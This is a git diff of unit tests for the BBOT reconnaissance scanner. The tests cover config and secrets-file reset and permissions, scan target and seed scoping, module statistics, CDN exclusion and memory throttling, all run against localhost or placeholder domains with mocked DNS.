+        preset_mod.PRESET_PATH = fresh_path
+        # also patch the path module's reference
+        import bbot.scanner.preset.path as path_mod
+
+        orig_path_singleton = path_mod.PRESET_PATH
+        path_mod.PRESET_PATH = fresh_path
+
+        # simulate -p /tmp/xxx/my_preset.yml: find() adds tmp_path to search paths
+        found = fresh_path.find(str(preset_file))
+        assert found == preset_file.resolve()
+        # tmp_path is now in search paths (needed for include resolution)
+        assert tmp_path.resolve() in fresh_path.paths
+
+        # reset the cached presets so all_presets re-enumerates
+        preset_mod.DEFAULT_PRESETS = None
+
+        preset = Preset()
+
+        # collect warnings emitted during all_presets enumeration
+        import logging
+
+        warnings = []
+        handler = logging.Handler()
+        handler.emit = lambda record: (
+            warnings.append(record.getMessage()) if record.levelno >= logging.WARNING else None
+        )
+        preset_logger = logging.getLogger("bbot.presets")
+        preset_logger.addHandler(handler)
+        try:
+            preset.all_presets
+        finally:
+            preset_logger.removeHandler(handler)
+
+        # no warnings should reference the junk files from tmp_path
+        junk_warnings = [w for w in warnings if "playbook.yml" in w or "ci.yml" in w]
+        assert not junk_warnings, f"all_presets tried to parse non-preset YAML files: {junk_warnings}"
+    finally:
+        preset_mod.DEFAULT_PRESETS = orig_default_presets
+        preset_mod.PRESET_PATH = orig_preset_path
+        path_mod.PRESET_PATH = orig_path_singleton
+
+
+def test_config_isolated_during_tests():
+    # the suite must never resolve to the user's real ~/.config/bbot
+    from bbot.core import CORE
+
+    config_dir = CORE.files_config.config_dir
+    real_config_dir = (Path.home() / ".config" / "bbot").resolve()
+    assert config_dir != real_config_dir
+    assert str(config_dir).startswith(str(Path(tempfile.gettempdir()).resolve()))
+
+
+def test_config_reset(tmp_path, monkeypatch):
+    from bbot.core import CORE
+    from bbot.core.modules import MODULE_LOADER
+
+    files = CORE.files_config
+    monkeypatch.setattr(files, "config_dir", tmp_path)
+    monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml")
+    monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml")
+    config_file = tmp_path / "bbot.yml"
+    secrets_file = tmp_path / "secrets.yml"
+
+    # first run: files don't exist -> generated as commented templates
+    MODULE_LOADER.ensure_config_files()
+    assert config_file.is_file() and secrets_file.is_file()
+    # secrets.yml is owner-only from the start
+    assert stat.S_IMODE(secrets_file.stat().st_mode) == 0o600
+
+    # resetting "config" backs up the existing file and must not touch
+    # secrets.yml (where API keys live)
+    config_file.write_text("scope:\n  strict: false\n")
+    secrets_before = secrets_file.read_text()
+    backups = MODULE_LOADER.reset_config_files(["config"])
+    assert set(backups) == {tmp_path / "bbot.yml.bak"}
+    assert (tmp_path / "bbot.yml.bak").read_text() == "scope:\n  strict: false\n"
+    assert secrets_file.read_text() == secrets_before
+    # the regenerated file is a fresh commented template
+    assert "# NOTICE" in config_file.read_text()
+
+    # a backup of a hardened secrets.yml keeps its tightened permissions
+    secrets_file.chmod(0o400)
+    backups = MODULE_LOADER.reset_config_files(["secrets"])
+    assert set(backups) == {tmp_path / "secrets.yml.bak"}
+    assert stat.S_IMODE((tmp_path / "secrets.yml.bak").stat().st_mode) == 0o400
+    # the regenerated secrets.yml is still owner-only
+    assert stat.S_IMODE(secrets_file.stat().st_mode) & 0o077 == 0
+
+    # a second reset must not clobber the first backup
+    backups2 = MODULE_LOADER.reset_config_files(["secrets"])
+    assert set(backups2) == {tmp_path / "secrets.yml.bak.1"}
+    assert (tmp_path / "secrets.yml.bak").is_file()
+
+
+def test_config_reset_both(tmp_path, monkeypatch):
+    from bbot.core import CORE
+    from bbot.core.modules import MODULE_LOADER
+
+    files = CORE.files_config
+    monkeypatch.setattr(files, "config_dir", tmp_path)
+    monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml")
+    monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml")
+    config_file = tmp_path / "bbot.yml"
+
+    MODULE_LOADER.ensure_config_files()
+
+    # reset both at once -> both backed up
+    backups = MODULE_LOADER.reset_config_files(["config", "secrets"])
+    assert {b.name for b in backups} == {"bbot.yml.bak", "secrets.yml.bak"}
+
+    # resetting only "secrets" leaves bbot.yml untouched
+    config_before = config_file.read_text()
+    backups = MODULE_LOADER.reset_config_files(["secrets"])
+    assert set(backups) == {tmp_path / "secrets.yml.bak.1"}
+    assert config_file.read_text() == config_before
+
+
+def test_config_secret_file_permissions(tmp_path):
+    from bbot.core.modules import MODULE_LOADER
+
+    target = tmp_path / "secrets.yml"
+
+    # a brand-new secret file is owner-only, never world/group readable
+    MODULE_LOADER._write_secret_text(target, "secret a")
+    assert stat.S_IMODE(target.stat().st_mode) == 0o600
+    assert target.read_text() == "secret a"
+
+    # the user hardened it further -> rewrite preserves the tighter perms
+    target.chmod(0o400)
+    MODULE_LOADER._write_secret_text(target, "secret b")
+    assert stat.S_IMODE(target.stat().st_mode) == 0o400
+    assert target.read_text() == "secret b"
+
+    # an existing file with loose perms -> tightened back to owner-only
+    target.chmod(0o644)
+    MODULE_LOADER._write_secret_text(target, "secret c")
+    assert stat.S_IMODE(target.stat().st_mode) == 0o600
+    assert target.read_text() == "secret c"
+
+
+def test_config_secret_file_refuses_insecure(tmp_path, monkeypatch):
+    from bbot.core.modules import MODULE_LOADER
+    from bbot.errors import BBOTError
+
+    target = tmp_path / "secrets.yml"
+
+    # simulate a filesystem where we can't restrict permissions: the secret is
+    # not written, and no temp file is left behind
+    real_fchmod = os.fchmod
+    monkeypatch.setattr(os, "fchmod", lambda fd, mode: real_fchmod(fd, 0o644))
+    with pytest.raises(BBOTError, match="could not restrict permissions"):
+        MODULE_LOADER._write_secret_text(target, "secret stuff")
+    assert not target.exists()
+    assert list(tmp_path.glob(".secrets.yml.*")) == []
diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py
index a915eea57d..1b3ce237fc 100644
--- a/bbot/test/test_step_1/test_python_api.py
+++ b/bbot/test/test_step_1/test_python_api.py
@@ -2,17 +2,19 @@
 
 
 @pytest.mark.asyncio
-async def test_python_api():
-    from bbot import Scanner
+async def test_python_api(clean_default_config):
+    from bbot.scanner import Scanner
 
     # make sure events are properly yielded
     scan1 = Scanner("127.0.0.1")
+    await scan1._prep()
     events1 = []
     async for event in scan1.async_start():
         events1.append(event)
     assert any(e.type == "IP_ADDRESS" and e.data == "127.0.0.1" for e in events1)
     # make sure output files work
     scan2 = Scanner("127.0.0.1", output_modules=["json"], scan_name="python_api_test")
+    await scan2._prep()
     await scan2.async_start_without_generator()
     scan_home = scan2.helpers.scans_dir / "python_api_test"
     out_file = scan_home / "output.json"
@@ -25,6 +27,7 @@ async def test_python_api():
     assert "python_api_test" in open(debug_log).read()
 
     scan3 = Scanner("127.0.0.1", output_modules=["json"], scan_name="scan_logging_test")
+    await scan3._prep()
     await scan3.async_start_without_generator()
 
     assert "scan_logging_test" not in open(scan_log).read()
@@ -42,87 +45,123 @@ async def test_python_api():
 
     # make sure config loads properly
     bbot_home = "/tmp/.bbot_python_api_test"
-    Scanner("127.0.0.1", config={"home": bbot_home})
+    scan4 = Scanner("127.0.0.1", config={"home": bbot_home})
+    await scan4._prep()
     assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools")
 
-    # output modules override
-    scan4 = Scanner()
-    assert set(scan4.preset.output_modules) == {"csv", "json", "python", "txt"}
-    scan5 = Scanner(output_modules=["json"])
-    assert set(scan5.preset.output_modules) == {"json"}
+    # output modules are additive
+    scan5 = Scanner()
+    assert set(scan5.preset.output_modules) == {"csv", "json", "txt"}
+    # adding json is a no-op (already a default), defaults stay
+    scan6 = Scanner(output_modules=["json"])
+    assert set(scan6.preset.output_modules) == {"csv", "json", "txt"}
+    # use exclude_output_modules to remove defaults
+    scan6b = Scanner(exclude_output_modules=["csv", "txt"])
+    assert set(scan6b.preset.output_modules) == {"json"}
 
     # custom target types
     custom_target_scan = Scanner("ORG:evilcorp")
     events = [e async for e in custom_target_scan.async_start()]
-    assert 1 == len([e for e in events if e.type == "ORG_STUB" and e.data == "evilcorp" and "target" in e.tags])
+
+    assert 1 == len([e for e in events if e.type == "ORG_STUB" and e.data == "evilcorp" and "seed" in e.tags])
 
     # presets
-    scan6 = Scanner("evilcorp.com", presets=["subdomain-enum"])
-    assert "sslcert" in scan6.preset.modules
+    scan7 = Scanner("evilcorp.com", presets=["subdomain-enum"])
+    assert "sslcert" in scan7.preset.modules
 
 
-def test_python_api_sync():
+@pytest.mark.asyncio
+async def test_python_api_sync(clean_default_config):
     from bbot.scanner import Scanner
 
     # make sure events are properly yielded
     scan1 = Scanner("127.0.0.1")
+    await scan1._prep()
     events1 = []
-    for event in scan1.start():
+    async for event in scan1.async_start():
         events1.append(event)
     assert any(e.type == "IP_ADDRESS" and e.data == "127.0.0.1" for e in events1)
     # make sure output files work
     scan2 = Scanner("127.0.0.1", output_modules=["json"], scan_name="python_api_test")
-    scan2.start_without_generator()
+    await scan2._prep()
+    await scan2.async_start_without_generator()
     out_file = scan2.helpers.scans_dir / "python_api_test" / "output.json"
     assert list(scan2.helpers.read_file(out_file))
     # make sure config loads properly
     bbot_home = "/tmp/.bbot_python_api_test"
-    Scanner("127.0.0.1", config={"home": bbot_home})
+    scan3 = Scanner("127.0.0.1", config={"home": bbot_home})
+    await scan3._prep()
     assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools")
 
 
-def test_python_api_validation():
+def test_python_api_sync_no_pending_tasks():
+    """Test that no asyncio tasks remain pending after a sync scan completes.
+
+    Regression test for https://github.com/blacklanternsecurity/bbot/issues/2508
+    When using BBOT as a library (e.g. from Celery), orphaned asyncio tasks
+    would cause "Task was destroyed but it is pending!" warnings on shutdown.
+    """
+    import asyncio
+    from bbot.scanner import Scanner
+    from bbot.core.helpers.async_helpers import get_event_loop
+
+    scan = Scanner("127.0.0.1")
+    events = list(scan.start())
+    assert any(e.type == "IP_ADDRESS" and e.data == "127.0.0.1" for e in events)
+
+    # After the sync generator is exhausted, no tasks should remain pending
+    loop = get_event_loop()
+    pending = [t for t in asyncio.all_tasks(loop) if not t.done()]
+    assert len(pending) == 0, f"Found {len(pending)} pending tasks after scan: {pending}"
+
+
+async def test_python_api_validation():
     from bbot.scanner import Scanner, Preset
 
     # invalid target
     with pytest.raises(ValidationError) as error:
-        Scanner("asdf:::asdf")
+        scan = Scanner("asdf:::asdf")
+        await scan._prep()
     assert str(error.value) == 'Unable to autodetect data type from "asdf:::asdf"'
     # invalid module
     with pytest.raises(ValidationError) as error:
-        Scanner(modules=["asdf"])
+        scan = Scanner(modules=["asdf"])
+        await scan._prep()
     assert str(error.value) == 'Could not find scan module "asdf". Did you mean "asn"?'
     # invalid output module
     with pytest.raises(ValidationError) as error:
         Scanner(output_modules=["asdf"])
-    assert str(error.value) == 'Could not find output module "asdf". Did you mean "teams"?'
+    assert str(error.value) == 'Could not find output module "asdf". Did you mean "nats"?'
     # invalid excluded module
     with pytest.raises(ValidationError) as error:
-        Scanner(exclude_modules=["asdf"])
+        scan = Scanner(exclude_modules=["asdf"])
+        await scan._prep()
     assert str(error.value) == 'Could not find module "asdf". Did you mean "asn"?'
     # invalid flag
     with pytest.raises(ValidationError) as error:
-        Scanner(flags=["asdf"])
-    assert str(error.value) == 'Could not find flag "asdf". Did you mean "safe"?'
+        Scanner(flags=["activ"])
+    assert str(error.value) == 'Could not find flag "activ". Did you mean "active"?'
     # invalid required flag
     with pytest.raises(ValidationError) as error:
-        Scanner(require_flags=["asdf"])
-    assert str(error.value) == 'Could not find flag "asdf". Did you mean "safe"?'
+        Scanner(require_flags=["activ"])
+    assert str(error.value) == 'Could not find flag "activ". Did you mean "active"?'
     # invalid excluded flag
     with pytest.raises(ValidationError) as error:
-        Scanner(exclude_flags=["asdf"])
-    assert str(error.value) == 'Could not find flag "asdf". Did you mean "safe"?'
+        Scanner(exclude_flags=["activ"])
+    assert str(error.value) == 'Could not find flag "activ". Did you mean "active"?'
     # output module as normal module
     with pytest.raises(ValidationError) as error:
-        Scanner(modules=["json"])
+        scan = Scanner(modules=["json"])
+        await scan._prep()
     assert str(error.value) == 'Could not find scan module "json". Did you mean "asn"?'
     # normal module as output module
     with pytest.raises(ValidationError) as error:
         Scanner(output_modules=["robots"])
-    assert str(error.value) == 'Could not find output module "robots". Did you mean "web_report"?'
+    assert str(error.value) == 'Could not find output module "robots". Did you mean "rabbitmq"?'
     # invalid preset type
     with pytest.raises(ValidationError) as error:
-        Scanner(preset="asdf")
+        scan = Scanner(preset="asdf")
+        await scan._prep()
     assert str(error.value) == 'Preset must be of type Preset, not "str"'
     # include nonexistent preset
     with pytest.raises(ValidationError) as error:
diff --git a/bbot/test/test_step_1/test_regexes.py b/bbot/test/test_step_1/test_regexes.py
index 94860fd4c0..d71f4c62db 100644
--- a/bbot/test/test_step_1/test_regexes.py
+++ b/bbot/test/test_step_1/test_regexes.py
@@ -351,9 +351,10 @@ def test_url_regexes():
 
 @pytest.mark.asyncio
 async def test_regex_helper():
-    from bbot import Scanner
+    from bbot.scanner import Scanner
 
     scan = Scanner("evilcorp.com", "evilcorp.org", "evilcorp.net", "evilcorp.co.uk")
+    await scan._prep()
 
     dns_name_regexes = regexes.event_type_regexes["DNS_NAME"]
 
@@ -399,6 +400,7 @@ async def test_regex_helper():
 
     # test yara hostname extractor helper
     scan = Scanner("evilcorp.com", "www.evilcorp.net", "evilcorp.co.uk")
+    await scan._prep()
     host_blob = """
     https://evilcorp.com/
     https://asdf.evilcorp.com/
@@ -424,5 +426,6 @@ async def test_regex_helper():
     }
 
     scan = Scanner()
+    await scan._prep()
     extracted = await scan.extract_in_scope_hostnames(host_blob)
     assert extracted == set()
diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py
index c5222d9591..2fc2d60a13 100644
--- a/bbot/test/test_step_1/test_scan.py
+++ b/bbot/test/test_step_1/test_scan.py
@@ -1,5 +1,3 @@
-from ipaddress import ip_network
-
 from ..bbot_fixtures import *
 
 
@@ -18,43 +16,44 @@ async def test_scan(
         blacklist=["1.1.1.1/28", "www.evilcorp.com"],
         modules=["ipneighbor"],
     )
-    await scan0.load_modules()
-    assert scan0.whitelisted("1.1.1.1")
-    assert scan0.whitelisted("1.1.1.0")
+    await scan0._prep()
+    assert scan0.in_target("1.1.1.1")
+    assert scan0.in_target("1.1.1.0")
     assert scan0.blacklisted("1.1.1.15")
     assert not scan0.blacklisted("1.1.1.16")
     assert scan0.blacklisted("1.1.1.1/30")
     assert not scan0.blacklisted("1.1.1.1/27")
     assert not scan0.in_scope("1.1.1.1")
-    assert scan0.whitelisted("api.evilcorp.com")
-    assert scan0.whitelisted("www.evilcorp.com")
+    assert scan0.in_target("api.evilcorp.com")
+    assert scan0.in_target("www.evilcorp.com")
     assert not scan0.blacklisted("api.evilcorp.com")
     assert scan0.blacklisted("asdf.www.evilcorp.com")
     assert scan0.in_scope("test.api.evilcorp.com")
     assert not scan0.in_scope("test.www.evilcorp.com")
     assert not scan0.in_scope("www.evilcorp.co.uk")
     j = scan0.json
-    assert set(j["target"]["seeds"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"}
-    # we preserve the original whitelist inputs
-    assert set(j["target"]["whitelist"]) == {"1.1.1.0/32", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"}
-    # but in the background they are collapsed
-    assert scan0.target.whitelist.hosts == {ip_network("1.1.1.0/31"), "evilcorp.com"}
+    assert not "seeds" in j["target"], "seeds should not be in target json"
+    # Positional arguments become the target
+    assert set(j["target"]["target"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"}
+    # Seeds are backfilled from target when not explicitly set
+    assert scan0.target.target.hosts == {"1.1.1.0/31", "evilcorp.com"}
     assert set(j["target"]["blacklist"]) == {"1.1.1.0/28", "www.evilcorp.com"}
     assert "ipneighbor" in j["preset"]["modules"]
 
-    scan1 = bbot_scanner("1.1.1.1", whitelist=["1.0.0.1"])
+    scan1 = bbot_scanner("1.0.0.1", seeds=["1.1.1.1"])
     assert not scan1.blacklisted("1.1.1.1")
     assert not scan1.blacklisted("1.0.0.1")
-    assert not scan1.whitelisted("1.1.1.1")
-    assert scan1.whitelisted("1.0.0.1")
+    assert not scan1.in_target("1.1.1.1")
+    assert scan1.in_target("1.0.0.1")
     assert scan1.in_scope("1.0.0.1")
     assert not scan1.in_scope("1.1.1.1")
 
     scan2 = bbot_scanner("1.1.1.1")
+    await scan2._prep()
     assert not scan2.blacklisted("1.1.1.1")
     assert not scan2.blacklisted("1.0.0.1")
-    assert scan2.whitelisted("1.1.1.1")
-    assert not scan2.whitelisted("1.0.0.1")
+    assert scan2.in_target("1.1.1.1")
+    assert not scan2.in_target("1.0.0.1")
     assert scan2.in_scope("1.1.1.1")
     assert not scan2.in_scope("1.0.0.1")
 
@@ -65,29 +64,62 @@ async def test_scan(
 
     # make sure DNS resolution works
     scan4 = bbot_scanner("1.1.1.1", config={"dns": {"minimal": False}})
+    await scan4._prep()
     await scan4.helpers.dns._mock_dns(dns_table)
     events = []
     async for event in scan4.async_start():
         events.append(event)
-    event_data = [e.data for e in events]
+    event_data = [e.pretty_string for e in events]
     assert "one.one.one.one" in event_data
 
     # make sure it doesn't work when you turn it off
     scan5 = bbot_scanner("1.1.1.1", config={"dns": {"minimal": True}})
+    await scan5._prep()
     await scan5.helpers.dns._mock_dns(dns_table)
     events = []
     async for event in scan5.async_start():
         events.append(event)
-    event_data = [e.data for e in events]
+    event_data = [e.pretty_string for e in events]
     assert "one.one.one.one" not in event_data
 
     for scan in (scan0, scan1, scan2, scan4, scan5):
         await scan._cleanup()
 
     scan6 = bbot_scanner("a.foobar.io", "b.foobar.io", "c.foobar.io", "foobar.io")
+    await scan6._prep()
     assert len(scan6.dns_strings) == 1
 
 
+def test_seeds_target_separation(bbot_scanner):
+    """
+    Test that when seeds are explicitly provided (via -s), they are properly separated from target.
+    """
+    # Simulate: bbot -t 192.168.1.0/24 -s seed1.example.com seed2.example.com
+    scan = bbot_scanner(
+        "192.168.1.0/24",
+        seeds=["seed1.example.com", "seed2.example.com"],
+    )
+
+    # Verify target and seeds are properly separated in JSON
+    j = scan.json
+    assert set(j["target"]["target"]) == {"192.168.1.0/24"}, "Target should only contain the IP range"
+    assert set(j["target"]["seeds"]) == {"seed1.example.com", "seed2.example.com"}, (
+        "Seeds should contain the DNS names, not the target"
+    )
+
+    # Verify target functionality
+    assert scan.in_target("192.168.1.1"), "IP in target range should be in target"
+    assert not scan.in_target("seed1.example.com"), "Seed DNS name should not be in target"
+    assert not scan.in_target("seed2.example.com"), "Seed DNS name should not be in target"
+
+    # Verify seeds are accessible
+    assert "seed1.example.com" in scan.target.seeds.inputs, "seed1.example.com should be in seeds"
+    assert "seed2.example.com" in scan.target.seeds.inputs, "seed2.example.com should be in seeds"
+    assert "192.168.1.0/24" not in scan.target.seeds.inputs, (
+        "Target should not be in seeds when seeds are explicitly provided"
+    )
+
+
 @pytest.mark.asyncio
 async def test_task_scan_handle_event_timeout(bbot_scanner):
     from bbot.modules.base import BaseModule
@@ -176,6 +208,96 @@ async def test_speed_counter():
     assert 4 <= counter.speed <= 5
 
 
+@pytest.mark.asyncio
+async def test_stats_attribution():
+    from bbot.scanner.stats import ScanStats
+    from types import SimpleNamespace
+
+    def mock_module(name, produced_events=None):
+        return SimpleNamespace(name=name, _stats_exclude=False, produced_events=produced_events or [])
+
+    def mock_event(type, module, parent=None):
+        e = SimpleNamespace(type=type, module=module)
+        if parent is not None:
+            e.parent = parent
+        return e
+
+    mock_scan = SimpleNamespace(status_frequency=60)
+    stats = ScanStats(mock_scan)
+
+    http_mod = mock_module("http", ["URL", "HTTP_RESPONSE"])
+    excavate_mod = mock_module("excavate", ["URL_UNVERIFIED", "WEB_PARAMETER"])
+    webbrute_shortnames_mod = mock_module("webbrute_shortnames", ["URL_UNVERIFIED"])
+    webbrute_mod = mock_module("webbrute", ["URL_UNVERIFIED"])
+    speculate_mod = mock_module("speculate", ["DNS_NAME", "OPEN_TCP_PORT", "IP_ADDRESS", "FINDING", "ORG_STUB"])
+    robots_mod = mock_module("robots", ["URL_UNVERIFIED"])
+
+    # 1) excavate discovers URL_UNVERIFIED from HTTP_RESPONSE, http verifies → excavate gets credit
+    for _ in range(5):
+        parent = mock_event("URL_UNVERIFIED", excavate_mod)
+        stats.event_produced(mock_event("URL", http_mod, parent=parent))
+
+    # 2) webbrute_shortnames discovers URL_UNVERIFIED, http verifies → webbrute_shortnames gets credit
+    for _ in range(3):
+        parent = mock_event("URL_UNVERIFIED", webbrute_shortnames_mod)
+        stats.event_produced(mock_event("URL", http_mod, parent=parent))
+
+    # 3) webbrute discovers URL_UNVERIFIED, http verifies → webbrute gets credit
+    parent = mock_event("URL_UNVERIFIED", webbrute_mod)
+    stats.event_produced(mock_event("URL", http_mod, parent=parent))
+
+    # 4) speculate (internal module) creates URL_UNVERIFIED, http verifies → http keeps credit
+    for _ in range(4):
+        parent = mock_event("URL_UNVERIFIED", speculate_mod)
+        stats.event_produced(mock_event("URL", http_mod, parent=parent))
+
+    # 5) robots discovers URL_UNVERIFIED, http verifies → robots gets credit
+    for _ in range(2):
+        parent = mock_event("URL_UNVERIFIED", robots_mod)
+        stats.event_produced(mock_event("URL", http_mod, parent=parent))
+
+    # 6) http discovers URL directly from OPEN_TCP_PORT (no URL_UNVERIFIED parent) → http keeps credit
+    for _ in range(2):
+        parent = mock_event("OPEN_TCP_PORT", mock_module("portscan"))
+        stats.event_produced(mock_event("URL", http_mod, parent=parent))
+
+    # 7) non-URL event types are unaffected
+    stats.event_produced(mock_event("DNS_NAME", mock_module("CNAME")))
+    stats.event_produced(mock_event("STORAGE_BUCKET", mock_module("cloudcheck")))
+
+    # verify per-module produced counts
+    assert stats.module_stats["excavate"].produced == {"URL": 5}
+    assert stats.module_stats["webbrute_shortnames"].produced == {"URL": 3}
+    assert stats.module_stats["webbrute"].produced == {"URL": 1}
+    assert stats.module_stats["robots"].produced == {"URL": 2}
+    # http gets credit for speculate's 4 URLs + 2 from OPEN_TCP_PORT = 6
+    assert stats.module_stats["http"].produced == {"URL": 6}
+    assert "speculate" not in stats.module_stats
+    assert stats.module_stats["CNAME"].produced == {"DNS_NAME": 1}
+    assert stats.module_stats["cloudcheck"].produced == {"STORAGE_BUCKET": 1}
+
+    # verify the table output (sorted by produced_total descending)
+    table = stats.table()
+    header = table[0]
+    rows = table[1:]
+    assert header == ["Module", "Produced", "Consumed"]
+
+    # build a dict of module_name -> produced_str from the table
+    table_dict = {row[0]: row[1] for row in rows}
+    assert table_dict["http"] == "6 (6 URL)"
+    assert table_dict["excavate"] == "5 (5 URL)"
+    assert table_dict["webbrute_shortnames"] == "3 (3 URL)"
+    assert table_dict["robots"] == "2 (2 URL)"
+    assert table_dict["webbrute"] == "1 (1 URL)"
+    assert table_dict["CNAME"] == "1 (1 DNS_NAME)"
+    assert table_dict["cloudcheck"] == "1 (1 STORAGE_BUCKET)"
+    assert "speculate" not in table_dict
+
+    # verify sort order (highest produced first)
+    produced_totals = [stats.module_stats[row[0]].produced_total for row in rows]
+    assert produced_totals == sorted(produced_totals, reverse=True)
+
+
 @pytest.mark.asyncio
 async def test_python_output_matches_json(bbot_scanner):
     import json
@@ -184,6 +306,7 @@ async def test_python_output_matches_json(bbot_scanner):
         "blacklanternsecurity.com",
         config={"speculate": True, "dns": {"minimal": False}, "scope": {"report_distance": 10}},
     )
+    await scan._prep()
     await scan.helpers.dns._mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.1"]}})
     events = [e.json() async for e in scan.async_start()]
     output_json = scan.home / "output.json"
@@ -194,7 +317,7 @@ async def test_python_output_matches_json(bbot_scanner):
     assert len(events) == 5
     scan_events = [e for e in events if e["type"] == "SCAN"]
     assert len(scan_events) == 2
-    assert all(isinstance(e["data"]["status"], str) for e in scan_events)
+    assert all(isinstance(e["data_json"]["status"], str) for e in scan_events)
     assert len([e for e in events if e["type"] == "DNS_NAME"]) == 1
     assert len([e for e in events if e["type"] == "ORG_STUB"]) == 1
     assert len([e for e in events if e["type"] == "IP_ADDRESS"]) == 1
@@ -220,10 +343,10 @@ async def test_huge_target_list(bbot_scanner, monkeypatch):
 
 
 @pytest.mark.asyncio
-async def test_exclude_cdn(bbot_scanner, monkeypatch):
+async def test_exclude_cdn(bbot_scanner, monkeypatch, clean_default_config):
     # test that CDN exclusion works
 
-    from bbot import Preset
+    from bbot.scanner import Preset
 
     dns_mock = {
         "evilcorp.com": {"A": ["127.0.0.1"]},
@@ -232,6 +355,7 @@ async def test_exclude_cdn(bbot_scanner, monkeypatch):
 
     # first, run a scan with no CDN exclusion
     scan = bbot_scanner("evilcorp.com")
+    await scan._prep()
     await scan.helpers._mock_dns(dns_mock)
 
     from bbot.modules.base import BaseModule
@@ -241,14 +365,17 @@ class DummyModule(BaseModule):
 
         async def handle_event(self, event):
             if event.type == "DNS_NAME" and event.data == "evilcorp.com":
-                await self.emit_event("www.evilcorp.com", "DNS_NAME", parent=event, tags=["cdn-cloudflare"])
+                await self.emit_event("www.evilcorp.com", "DNS_NAME", parent=event, tags=["cloudflare", "cdn"])
             if event.type == "DNS_NAME" and event.data == "www.evilcorp.com":
-                await self.emit_event("www.evilcorp.com:80", "OPEN_TCP_PORT", parent=event, tags=["cdn-cloudflare"])
-                await self.emit_event("www.evilcorp.com:443", "OPEN_TCP_PORT", parent=event, tags=["cdn-cloudflare"])
-                await self.emit_event("www.evilcorp.com:8080", "OPEN_TCP_PORT", parent=event, tags=["cdn-cloudflare"])
+                await self.emit_event("www.evilcorp.com:80", "OPEN_TCP_PORT", parent=event, tags=["cloudflare", "cdn"])
+                await self.emit_event(
+                    "www.evilcorp.com:443", "OPEN_TCP_PORT", parent=event, tags=["cloudflare", "cdn"]
+                )
+                await self.emit_event(
+                    "www.evilcorp.com:8080", "OPEN_TCP_PORT", parent=event, tags=["cloudflare", "cdn"]
+                )
 
     dummy = DummyModule(scan=scan)
-    await scan._prep()
     scan.modules["dummy"] = dummy
     events = [e async for e in scan.async_start() if e.type in ("DNS_NAME", "OPEN_TCP_PORT")]
     assert set(e.data for e in events) == {
@@ -264,11 +391,12 @@ async def handle_event(self, event):
     # then run a scan with --exclude-cdn enabled
     preset = Preset("evilcorp.com")
     preset.parse_args()
-    assert preset.bake().to_yaml() == "modules:\n- portfilter\n"
+    baked_preset = preset.validate().bake()
+    assert baked_preset.to_yaml() == "modules:\n- portfilter\n"
     scan = bbot_scanner("evilcorp.com", preset=preset)
+    await scan._prep()
     await scan.helpers._mock_dns(dns_mock)
     dummy = DummyModule(scan=scan)
-    await scan._prep()
     scan.modules["dummy"] = dummy
     events = [e async for e in scan.async_start() if e.type in ("DNS_NAME", "OPEN_TCP_PORT")]
     assert set(e.data for e in events) == {
@@ -279,7 +407,116 @@ async def handle_event(self, event):
     }
 
 
+@pytest.mark.asyncio
+async def test_scan_event_started_at_type(bbot_scanner):
+    """Regression test: started_at must be a float on both RUNNING and FINISHED SCAN events."""
+    scan = bbot_scanner("127.0.0.1")
+    await scan._prep()
+    scan_events = []
+    async for event in scan.async_start():
+        if event.type == "SCAN":
+            scan_events.append(event)
+
+    assert len(scan_events) == 2, f"Expected 2 SCAN events, got {len(scan_events)}"
+    for e in scan_events:
+        started_at = e.data.get("started_at")
+        status = e.data.get("status")
+        assert isinstance(started_at, float), (
+            f"SCAN event (status={status}) started_at should be float, got {type(started_at).__name__}: {started_at!r}"
+        )
+
+
 async def test_scan_name(bbot_scanner):
     scan = bbot_scanner("evilcorp.com", name="test_scan_name")
+    await scan._prep()
     assert scan.name == "test_scan_name"
     assert scan.preset.scan_name == "test_scan_name"
+
+
+@pytest.mark.asyncio
+async def test_memory_backpressure_throttle(bbot_scanner, monkeypatch):
+    """Ingress delay scales linearly with memory overshoot, and the scan still completes under pressure."""
+    from types import SimpleNamespace
+
+    mem_percent = [50.0]
+
+    def mock_memory_status():
+        return SimpleNamespace(percent=mem_percent[0], available=1_000_000_000)
+
+    scan = bbot_scanner("127.0.0.1", config={"max_mem_percent": 90})
+    await scan._prep()
+    await scan.helpers.dns._mock_dns({"1.1.1.1.in-addr.arpa": {"PTR": ["one.one.one.one"]}})
+    monkeypatch.setattr("bbot.core.helpers.misc.memory_status", mock_memory_status)
+
+    # delay curve — pure function of memory percent
+    assert scan._compute_ingress_delay(50.0) == 0.0
+    assert scan._compute_ingress_delay(90.0) == 0.0
+    assert scan._compute_ingress_delay(91.0) == pytest.approx(1.0)
+    assert scan._compute_ingress_delay(92.5) == pytest.approx(2.5)
+    assert scan._compute_ingress_delay(95.0) == pytest.approx(5.0)
+    # capped above threshold+5
+    assert scan._compute_ingress_delay(99.0) == pytest.approx(5.0)
+
+    # status loop wires memory_status -> _ingress_delay
+    assert scan._ingress_delay == 0.0
+
+    # the drain-mode bypass only zeros the delay when no module has work; pin a fake task so
+    # the engagement curve below exercises the memory-driven formula, not the bypass
+    target_module = next(m for m in scan.modules.values() if not m._intercept)
+    target_module._task_counter.tasks["fake-task"] = SimpleNamespace(n=1)
+    try:
+        mem_percent[0] = 93.0
+        scan.modules_status(_log=False)
+        assert scan._ingress_delay == pytest.approx(3.0), "delay should engage above threshold"
+
+        mem_percent[0] = 97.0
+        scan.modules_status(_log=False)
+        assert scan._ingress_delay == pytest.approx(5.0), "delay should clamp at the cap"
+
+        mem_percent[0] = 80.0
+        scan.modules_status(_log=False)
+        assert scan._ingress_delay == 0.0, "delay should clear once memory drops back"
+    finally:
+        target_module._task_counter.tasks.pop("fake-task", None)
+
+    # scan still produces events with the throttle disengaged
+    events = [e async for e in scan.async_start()]
+    assert any(e.type == "IP_ADDRESS" for e in events), "scan should still produce events"
+
+
